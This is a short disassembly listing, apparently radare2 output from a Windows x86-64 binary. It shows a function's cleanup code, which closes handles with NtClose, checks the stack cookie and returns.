mov rcx, qword [rbp + 7]
lea rdx, [rcx - 1]
cmp rdx, 0xfffffffffffffffd
ja 0x140003dae
and qword [rbp + 7], 0
call qword [sym.imp.ntdll.dll_NtClose]
nop dword [rax + rax]
mov eax, ebx
jmp 0x140003dda
mov rax, qword [rbp + 0x17]
mov rcx, qword [rbp + 7]
mov qword [rdi], rax
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140003dd8
and qword [rbp + 7], 0
call qword [sym.imp.ntdll.dll_NtClose]
nop dword [rax + rax]
xor eax, eax
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.140058110
add rsp, 0xf0
pop rdi
pop rbx
pop rbp
ret